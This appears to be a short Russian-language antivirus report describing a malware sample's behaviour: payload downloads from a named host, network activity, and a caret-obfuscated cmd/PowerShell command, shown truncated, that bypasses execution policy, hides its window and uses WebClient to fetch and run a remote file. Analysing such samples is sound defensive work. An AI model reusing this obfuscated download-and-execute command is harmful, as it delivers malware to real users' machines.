Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://rootaleyz.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "poweRshE^l^L^.E^x^e -eXeCUtioNPOlicY b^YpAs^s -^NOPROFilE^ ^-W^iNdOw^s^t^y^le^ HiDde^n^ (neW^-o^BjE^CT s^ys^te^M.NeT.WEbc^l^iE^nT^).doWN^l^oadFi^LE('http://rootaleyz.top/read.php?...
Сетевая активность
UDP
- DNS ASK ro###leyz.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "poweRshE^l^L^.E^x^e -eXeCUtioNPOlicY b^YpAs^s -^NOPROFilE^ ^-W^iNdOw^s^t^y^le^ HiDde^n^ (neW^-o^BjE^CT s^ys^te^M.NeT.WEbc^l^iE^nT^).doWN^l^oadFi^LE('http://rootaleyz.top/read.php?...' (со скрытым окном)
